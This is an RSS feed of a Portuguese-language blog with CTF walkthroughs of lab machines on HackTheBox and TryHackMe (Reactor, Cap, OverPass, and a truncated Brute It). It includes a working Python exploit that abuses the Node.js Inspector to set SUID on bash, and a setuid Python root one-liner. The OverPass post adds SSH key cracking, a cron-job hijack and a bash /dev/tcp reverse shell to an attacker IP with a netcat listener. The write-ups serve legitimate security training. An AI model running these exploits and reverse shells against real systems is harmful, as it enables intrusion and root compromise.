<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>OffSec</title><description>Security Enthusiast</description><link>https://felinux0x.github.io/</link><language>pt-BR</language><item><title>Reactor - HTB (Linux | Easy)</title><link>https://felinux0x.github.io/posts/reactor-htb/</link><guid isPermaLink="true">https://felinux0x.github.io/posts/reactor-htb/</guid><description>Análise técnica da máquina Reactor do HackTheBox, focada em enumeração de credenciais e exploração do Node.js Inspector para privilégios de root.</description><pubDate>Sat, 30 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;style&amp;gt;
#post-cover {
max-height: 250px;
width: auto;
margin-left: auto;
margin-right: auto;
object-fit: contain;
}
&amp;lt;/style&amp;gt;&lt;/p&gt;
&lt;h1&gt;🏴 Reactor - HTB (Linux | Easy)&lt;/h1&gt;
&lt;p&gt;:::note
&lt;strong&gt;Resumo Executivo&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Target:&lt;/strong&gt; &lt;code&gt;10.129.8.143&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dificuldade:&lt;/strong&gt; Easy&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sistema Operacional:&lt;/strong&gt; Linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vetor de Entrada:&lt;/strong&gt; Credenciais administrativas padrão em sistema de monitoramento industrial.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escalação de Privilégios:&lt;/strong&gt; Execução de código arbitrário via Node.js Inspector rodando como root.
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;1. Reconhecimento e Enumeração&lt;/h2&gt;
&lt;p&gt;O processo de exploração iniciou-se com o mapeamento da superfície de ataque via &lt;code&gt;Nmap&lt;/code&gt;. O objetivo foi identificar serviços expostos e suas respectivas versões.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC -Pn 10.129.8.143
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Resultados Relevantes:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Porta 22/tcp:&lt;/strong&gt; OpenSSH 9.6p1 (Linux)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 3000/tcp:&lt;/strong&gt; Aplicação Web utilizando o framework &lt;strong&gt;Next.js 15.0.3&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ao acessar &lt;code&gt;http://10.129.8.143:3000&lt;/code&gt;, fui apresentado ao &lt;strong&gt;ReactorWatch&lt;/strong&gt;, um dashboard industrial para monitoramento de ativos críticos.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Foothold: Acesso Inicial&lt;/h2&gt;
&lt;p&gt;Através de uma fase de enumeração manual e consulta a base de dados de credenciais conhecidas para este tipo de dashboard, identifiquei um par de credenciais válido:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;engineer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;reactor1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Validei o acesso via SSH para obter uma shell interativa no sistema:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh engineer@10.129.8.143
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;User Flag:&lt;/strong&gt; 🏴Flag🏴&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Escalação de Privilégios (Privesc)&lt;/h2&gt;
&lt;p&gt;Após o acesso inicial, realizei uma auditoria nos processos locais e portas em escuta (localhost).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Verificando serviços internos
ss -lntp

# Analisando processos Node.js
ps aux | grep node
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Identifiquei uma instância do Node.js rodando com privilégios de &lt;strong&gt;root&lt;/strong&gt; e o debugger ativado (&lt;code&gt;--inspect&lt;/code&gt;) na porta &lt;strong&gt;9229&lt;/strong&gt;:
&lt;code&gt;root /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Exploração do Node.js Inspector&lt;/h3&gt;
&lt;p&gt;A flag &lt;code&gt;--inspect&lt;/code&gt; permite que desenvolvedores conectem um debugger ao processo. Quando exposto localmente como root, torna-se um vetor crítico de RCE (Remote Code Execution).&lt;/p&gt;
&lt;h4&gt;A) Extração do Session UUID&lt;/h4&gt;
&lt;p&gt;Para interagir com o debugger, é necessário obter o identificador único da sessão:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s http://127.0.0.1:9229/json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;UUID extraído:&lt;/em&gt; &lt;code&gt;6bd67fb0-63ff-411d-a8af-251fcf8049a2&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;B) Injeção de Código via WebSocket&lt;/h4&gt;
&lt;p&gt;Devido à ausência de ferramentas de alto nível no alvo, utilizei um script Python minimalista para realizar o handshake do WebSocket e enviar um frame de execução de comando. O objetivo foi injetar o bit &lt;strong&gt;SUID&lt;/strong&gt; no &lt;code&gt;/bin/bash&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# exploit.py
import socket, struct, base64, json, sys

def trigger_rce(uuid):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((&apos;127.0.0.1&apos;, 9229))
    
    # WebSocket Handshake
    key = base64.b64encode(b&apos;exploit&apos;).decode()
    handshake = (
        f&apos;GET /{uuid} HTTP/1.1\r\n&apos;
        &apos;Host: 127.0.0.1:9229\r\n&apos;
        &apos;Upgrade: websocket\r\n&apos;
        &apos;Connection: Upgrade\r\n&apos;
        f&apos;Sec-WebSocket-Key: {key}\r\n&apos;
        &apos;Sec-WebSocket-Version: 13\r\n\r\n&apos;
    )
    s.send(handshake.encode())
    s.recv(1024) 
    
    # Injeção: Atribuindo SUID ao bash
    cmd = &apos;process.mainModule.require(&quot;child_process&quot;).execSync(&quot;chmod u+s /bin/bash&quot;)&apos;
    payload = json.dumps({&quot;id&quot;: 1, &quot;method&quot;: &quot;Runtime.evaluate&quot;, &quot;params&quot;: {&quot;expression&quot;: cmd}})
    
    # Construção do Frame WebSocket
    msg = payload.encode()
    length = len(msg)
    frame = b&apos;\x81&apos; + struct.pack(&apos;!B&apos;, length | 0x80) + b&apos;\x00\x00\x00\x00&apos; + msg
    s.send(frame)
    s.close()

if __name__ == &quot;__main__&quot;:
    trigger_rce(sys.argv[1])
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;C) Execução e Root Shell&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;python3 exploit.py 6bd67fb0-63ff-411d-a8af-251fcf8049a2
/bin/bash -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Root Flag:&lt;/strong&gt; 🏴Flag🏴&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Post-Mortem e Lições Aprendidas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Configurações Inseguras:&lt;/strong&gt; Nunca exponha o Node.js Inspector em ambientes de produção, especialmente em processos privilegiados.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enumeração Interna:&lt;/strong&gt; Serviços rodando apenas em &lt;code&gt;127.0.0.1&lt;/code&gt; costumam esconder as maiores vulnerabilidades de um sistema.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Living off the Land:&lt;/strong&gt; A habilidade de escrever scripts puros (sem dependências externas) é crucial quando o ambiente de post-exploitation é restrito.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Cap - HTB (Linux | Easy)</title><link>https://felinux0x.github.io/posts/cap-htb/</link><guid isPermaLink="true">https://felinux0x.github.io/posts/cap-htb/</guid><description>Walkthrough da máquina Cap do HackTheBox, explorando IDOR, análise de PCAP e Linux Capabilities.</description><pubDate>Sat, 21 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;🏴 Cap - HTB (Linux | Easy)&lt;/h1&gt;
&lt;p&gt;:::note
&lt;strong&gt;Resumo da Máquina&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP:&lt;/strong&gt; &lt;code&gt;10.129.2.2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SO:&lt;/strong&gt; Linux (Ubuntu 20.04.2 LTS)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vetor de Ataque:&lt;/strong&gt; IDOR em dashboard web, captura de pacotes (PCAP) com credenciais em texto claro e escalação de privilégios via Linux Capabilities (cap_setuid).
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#htb&lt;/code&gt; &lt;code&gt;#linux&lt;/code&gt; &lt;code&gt;#idor&lt;/code&gt; &lt;code&gt;#pcap&lt;/code&gt; &lt;code&gt;#capabilities&lt;/code&gt; &lt;code&gt;#python&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;🛠️ Ferramentas Utilizadas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;firefox&lt;/li&gt;
&lt;li&gt;strings&lt;/li&gt;
&lt;li&gt;tcpdump&lt;/li&gt;
&lt;li&gt;ssh&lt;/li&gt;
&lt;li&gt;getcap&lt;/li&gt;
&lt;li&gt;python3&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;🔍 Fase 1: Reconhecimento&lt;/h2&gt;
&lt;h3&gt;Nmap - Scan Inicial&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -oN nmap_initial.txt 10.129.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Nmap - Scan Completo&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -p- --min-rate 5000 -oN nmap_full.txt 10.129.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Porta 21:&lt;/strong&gt; FTP (&lt;code&gt;vsftpd 3.0.3&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 22:&lt;/strong&gt; SSH (&lt;code&gt;OpenSSH 8.2p1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 80:&lt;/strong&gt; HTTP (&lt;code&gt;gunicorn&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;🌐 Fase 2: Enumeração Web&lt;/h2&gt;
&lt;p&gt;A aplicação web é um dashboard de monitoramento. Ao explorar a funcionalidade &quot;Security Snapshot&quot;, notamos que os IDs na URL são sequenciais e podem ser manipulados.&lt;/p&gt;
&lt;h3&gt;Descobrindo IDOR&lt;/h3&gt;
&lt;p&gt;Navegando pelos snapshots:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://10.129.2.2/data/1
http://10.129.2.2/data/2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O ID &lt;code&gt;0&lt;/code&gt; estava acessível e continha dados de outro usuário:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://10.129.2.2/data/0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
A vulnerabilidade permitiu acessar capturas de pacotes (PCAP) do sistema.
:::&lt;/p&gt;
&lt;h2&gt;📦 Fase 3: Análise do PCAP&lt;/h2&gt;
&lt;p&gt;Baixamos o arquivo &lt;code&gt;0.pcap&lt;/code&gt; e analisamos em busca de credenciais transmitidas em protocolos não criptografados (como o FTP encontrado no scan).&lt;/p&gt;
&lt;h3&gt;Extraindo Credenciais&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;strings 0.pcap | grep -iE &quot;USER|PASS&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;USER nathan
PASS Buck3tH4TF0RM3!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confirmando com &lt;code&gt;tcpdump&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tcpdump -r 0.pcap -A port 21 2&amp;gt;/dev/null | grep -iE &quot;USER|PASS&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;🔐 Fase 4: Acesso Inicial (Password Reuse)&lt;/h2&gt;
&lt;p&gt;As credenciais do FTP funcionam para o acesso SSH do usuário nathan.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh nathan@10.129.2.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;USER FLAG PWNED 🎉&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;⬆️ Fase 5: Escalação de Privilégios&lt;/h2&gt;
&lt;p&gt;Enumerando capabilities binárias no sistema:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;getcap -r / 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Encontramos o binário do Python com a capability &lt;code&gt;cap_setuid&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Explorando cap_setuid&lt;/h3&gt;
&lt;p&gt;Utilizamos o Python para alterar o UID para 0 (root) e lançar um shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &apos;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ROOT FLAG PWNED 👑&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;🗺️ Attack Path&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────┐
│                                                          │
│  Nmap Scan                                               │
│  └── Portas 21 (FTP), 22 (SSH), 80 (HTTP)               │
│       │                                                  │
│       ▼                                                  │
│  Web Enumeration (IDOR)                                  │
│  └── Acesso a capturas de pacotes em /data/0             │
│       │                                                  │
│       ▼                                                  │
│  PCAP Analysis                                           │
│  └── Credenciais FTP (nathan : Buck3tH4TF0RM3!)          │
│       │                                                  │
│       ▼                                                  │
│  SSH Login (Password Reuse)                              │
│  └── nathan@cap                                          │
│       │                                                  │
│       ▼                                                  │
│  Privilege Escalation                                    │
│  └── getcap → python3.8 (cap_setuid)                     │
│       │                                                  │
│       ▼                                                  │
│  ROOT ACCESS! 🏆                                         │
│                                                          │
└──────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Autor:&lt;/strong&gt; felps
&lt;strong&gt;Data:&lt;/strong&gt; 21/02/2026
&lt;strong&gt;Plataforma:&lt;/strong&gt; HackTheBox&lt;/p&gt;
</content:encoded></item><item><title>Try Hack Me - OverPass</title><link>https://felinux0x.github.io/posts/tryhackme-overpass/</link><guid isPermaLink="true">https://felinux0x.github.io/posts/tryhackme-overpass/</guid><description>Walkthrough detalhado da máquina OverPass do TryHackMe, explorando uma chave SSH com senha fraca e escalando privilégios via Crontab Hijacking.</description><pubDate>Sat, 06 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Try Hack Me - OverPass&lt;/h1&gt;
&lt;p&gt;:::note
&lt;strong&gt;Resumo da Máquina&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP:&lt;/strong&gt; &lt;code&gt;10.201.11.108&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SO:&lt;/strong&gt; Ubuntu Linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vetor de Ataque:&lt;/strong&gt; Chave SSH privada exposta e protegida por senha fraca, escalação de privilégios via sequestro de tarefa Cron (Crontab Hijacking).
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#ctf&lt;/code&gt; &lt;code&gt;#walkthrough&lt;/code&gt; &lt;code&gt;#nmap&lt;/code&gt; &lt;code&gt;#gobuster&lt;/code&gt; &lt;code&gt;#ssh&lt;/code&gt; &lt;code&gt;#john&lt;/code&gt; &lt;code&gt;#privesc&lt;/code&gt; &lt;code&gt;#cron&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1. Reconhecimento e Enumeração&lt;/h2&gt;
&lt;p&gt;O primeiro passo foi escanear a máquina alvo para identificar portas abertas e os serviços em execução.&lt;/p&gt;
&lt;h3&gt;1.1. Varredura com Nmap&lt;/h3&gt;
&lt;p&gt;Usei o Nmap com os scripts &lt;code&gt;-sV&lt;/code&gt; (versão dos serviços) e &lt;code&gt;-sC&lt;/code&gt; (scripts padrão) para uma enumeração inicial.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC 10.201.11.108
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 11:27 -03
Nmap scan report for 10.201.11.108
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
|   256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_  256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::tip
&lt;strong&gt;Pontos de Interesse Encontrados:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Porta 22:&lt;/strong&gt; SSH (&lt;code&gt;OpenSSH 7.6p1&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Porta 80:&lt;/strong&gt; HTTP (&lt;code&gt;Golang net/http server&lt;/code&gt;)
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2. Enumeração de Diretórios Web&lt;/h3&gt;
&lt;p&gt;Com um servidor web ativo na porta 80, o próximo passo foi procurar por diretórios e arquivos ocultos usando o &lt;strong&gt;GoBuster&lt;/strong&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u http://10.201.11.108/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;===============================================================
Gobuster v3.8
===============================================================
[+] Url:                     http://10.201.11.108/
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Extensions:              php,txt
===============================================================
/img              (Status: 301) [Size: 0] [--&amp;gt; img/]
/downloads        (Status: 301) [Size: 0] [--&amp;gt; downloads/]
/aboutus          (Status: 301) [Size: 0] [--&amp;gt; aboutus/]
/admin            (Status: 301) [Size: 42] [--&amp;gt; /admin/]
/css              (Status: 301) [Size: 0] [--&amp;gt; css/]
===============================================================
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;O diretório &lt;code&gt;/admin/&lt;/code&gt; foi o achado mais promissor para a próxima fase de investigação.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. Acesso Inicial (SSH)&lt;/h2&gt;
&lt;p&gt;Ao acessar o diretório &lt;code&gt;/admin/&lt;/code&gt;, a página estava restrita. Manipulando os cookies no console do navegador, foi possível obter acesso.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Cookies.set(&quot;SessionToken&quot;,&quot;123&quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Após definir o cookie e atualizar a página, uma chave SSH privada criptografada para um usuário chamado &lt;code&gt;James&lt;/code&gt; foi revelada.&lt;/p&gt;
&lt;h3&gt;2.1. Quebrando a Senha da Chave SSH&lt;/h3&gt;
&lt;p&gt;A chave estava protegida por uma senha (passphrase). Para quebrá-la, utilizei o &lt;strong&gt;John the Ripper&lt;/strong&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Salvar a chave&lt;/strong&gt; em um arquivo chamado &lt;code&gt;id_rsa&lt;/code&gt; e ajustar suas permissões.&lt;pre&gt;&lt;code&gt;chmod 600 id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Extrair o hash&lt;/strong&gt; da chave usando o script &lt;code&gt;ssh2john.py&lt;/code&gt;.&lt;pre&gt;&lt;code&gt;python3 /usr/share/john/ssh2john.py id_rsa &amp;gt; id_rsa.hash
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Quebrar o hash&lt;/strong&gt; com o &lt;code&gt;john&lt;/code&gt; e a wordlist &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;pre&gt;&lt;code&gt;john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;pre&gt;&lt;code&gt;Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
...
james13          (id_rsa)     
...
Session completed.
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::important
A senha da chave SSH foi descoberta: &lt;code&gt;james13&lt;/code&gt;
:::&lt;/p&gt;
&lt;h3&gt;2.2. Obtendo Acesso&lt;/h3&gt;
&lt;p&gt;Com a chave privada (&lt;code&gt;id_rsa&lt;/code&gt;) e a senha (&lt;code&gt;james13&lt;/code&gt;), realizei o login via SSH.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh -i id_rsa james@10.201.11.108
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Após inserir a senha &lt;code&gt;james13&lt;/code&gt;, o acesso ao shell como usuário &lt;code&gt;james&lt;/code&gt; foi concedido.&lt;/p&gt;
&lt;h3&gt;2.3. Capturando a Flag do Usuário&lt;/h3&gt;
&lt;p&gt;Com o acesso inicial, procurei pela flag &lt;code&gt;user.txt&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;james@overpass-prod:~$ ls
todo.txt  user.txt
james@overpass-prod:~$ cat user.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;user.txt:&lt;/strong&gt; &lt;code&gt;thm{...user_flag...}&lt;/code&gt;
:::&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. Escalação de Privilégios&lt;/h2&gt;
&lt;p&gt;Para obter acesso &lt;code&gt;root&lt;/code&gt;, foi necessário encontrar um vetor de escalação de privilégios no sistema. A enumeração foi feita com o script &lt;code&gt;lse.sh&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;3.1. Identificando o Vetor (Cron Job)&lt;/h3&gt;
&lt;p&gt;A análise do &lt;code&gt;lse.sh&lt;/code&gt; e a verificação manual do arquivo &lt;code&gt;/etc/crontab&lt;/code&gt; revelaram uma tarefa agendada (cron job) vulnerável, executada a cada minuto como &lt;code&gt;root&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;james@overpass-prod:~$ cat /etc/crontab
...
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A tarefa baixa e executa um script de &lt;code&gt;overpass.thm&lt;/code&gt;. A estratégia é sequestrar essa requisição, fazendo com que o domínio &lt;code&gt;overpass.thm&lt;/code&gt; aponte para a nossa máquina de ataque.&lt;/p&gt;
&lt;h3&gt;3.2. Exploração (Crontab Hijacking)&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Modificar o /etc/hosts na máquina alvo:&lt;/strong&gt;
Adicionei uma entrada para que overpass.thm resolvesse para o IP da minha máquina (10.9.1.139).&lt;pre&gt;&lt;code&gt;# Na máquina alvo (james@overpass-prod)
echo &quot;10.9.1.139 overpass.thm&quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Preparar o payload na máquina do atacante:&lt;/strong&gt;
Criei a estrutura de diretórios esperada e um buildscript.sh com um payload de reverse shell.&lt;pre&gt;&lt;code&gt;echo &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.9.1.139/4444 0&amp;gt;&amp;amp;1&quot; &amp;gt; buildscript.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Servir o payload e iniciar o listener:&lt;/strong&gt;
Iniciei um servidor web simples para hospedar o script e um listener com netcat para receber a conexão.&lt;pre&gt;&lt;code&gt;# Na máquina do atacante (no diretório ~/)
python3 -m http.server 80

# Em outro terminal
nc -lvnp 4444
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Receber o shell root:&lt;/strong&gt;
Quando o cron job executou (dentro de um minuto), ele baixou e executou nosso script malicioso, resultando em um shell reverso como root.&lt;pre&gt;&lt;code&gt;listening on [any] 4444 ...
connect to [10.9.1.139] from (UNKNOWN) [10.201.11.108] 58676
bash: cannot set terminal process group (20057): Inappropriate ioctl for device
bash: no job control in this shell
root@overpass-prod:~#
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.3. Capturando a Flag Root&lt;/h3&gt;
&lt;p&gt;Agora como &lt;code&gt;root&lt;/code&gt;, bastou ler a flag final.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@overpass-prod:~# cat /root/root.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::important
&lt;strong&gt;root.txt:&lt;/strong&gt; &lt;code&gt;thm{..root_flag...}&lt;/code&gt;
:::&lt;/p&gt;
</content:encoded></item><item><title>TryHackMe - Brute It</title><link>https://felinux0x.github.io/posts/tryhackme-bruteit/</link><guid isPermaLink="true">https://felinux0x.github.io/posts/tryhackme-bruteit/</guid><description>Walkthrough da máquina Brute It do TryHackMe, focando em brute force com Hydra, quebra de senha de chave SSH com John the Ripper e escalação de privilégios via sudo cat.</description><pubDate>Sat, 06 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TryHackMe - Brute It&lt;/h1&gt;
&lt;p&gt;:::note
&lt;strong&gt;Resumo da Máquina&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IP:&lt;/strong&gt; &lt;code&gt;10.201.48.203&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SO:&lt;/strong&gt; Ubuntu Linux&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vetor de Ataque:&lt;/strong&gt; Brute force em painel de administração web, revelando uma chave SSH privada. A senha da chave foi quebrada, e a escalação de privilégios foi obtida explorando uma permissão inadequada no &lt;code&gt;sudo&lt;/code&gt; que permitia a leitura do arquivo &lt;code&gt;/etc/shadow&lt;/code&gt;.
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;code&gt;#ctf&lt;/code&gt; &lt;code&gt;#walkthrough&lt;/code&gt; &lt;code&gt;#tryhackme&lt;/code&gt; &lt;code&gt;#nmap&lt;/code&gt; &lt;code&gt;#gobuster&lt;/code&gt; &lt;code&gt;#hydra&lt;/code&gt; &lt;code&gt;#ssh&lt;/code&gt; &lt;code&gt;#john&lt;/code&gt; &lt;code&gt;#privesc&lt;/code&gt; &lt;code&gt;#sudo&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;1. Reconhecimento e Enumeração&lt;/h2&gt;
&lt;p&gt;O primeiro passo, como sempre, é realizar um reconhecimento completo do alvo para identificar vetores de ataque em potencial.&lt;/p&gt;
&lt;h3&gt;1.1. Varredura com Nmap&lt;/h3&gt;
&lt;p&gt;Utilizei o &lt;strong&gt;Nmap&lt;/strong&gt; com a flag &lt;code&gt;-sV&lt;/code&gt; para detectar as versões dos serviços em execução nas portas abertas.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV 10.201.48.203
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Resultado:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 18:40 -03
Nmap scan report for 10.201.48.203
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
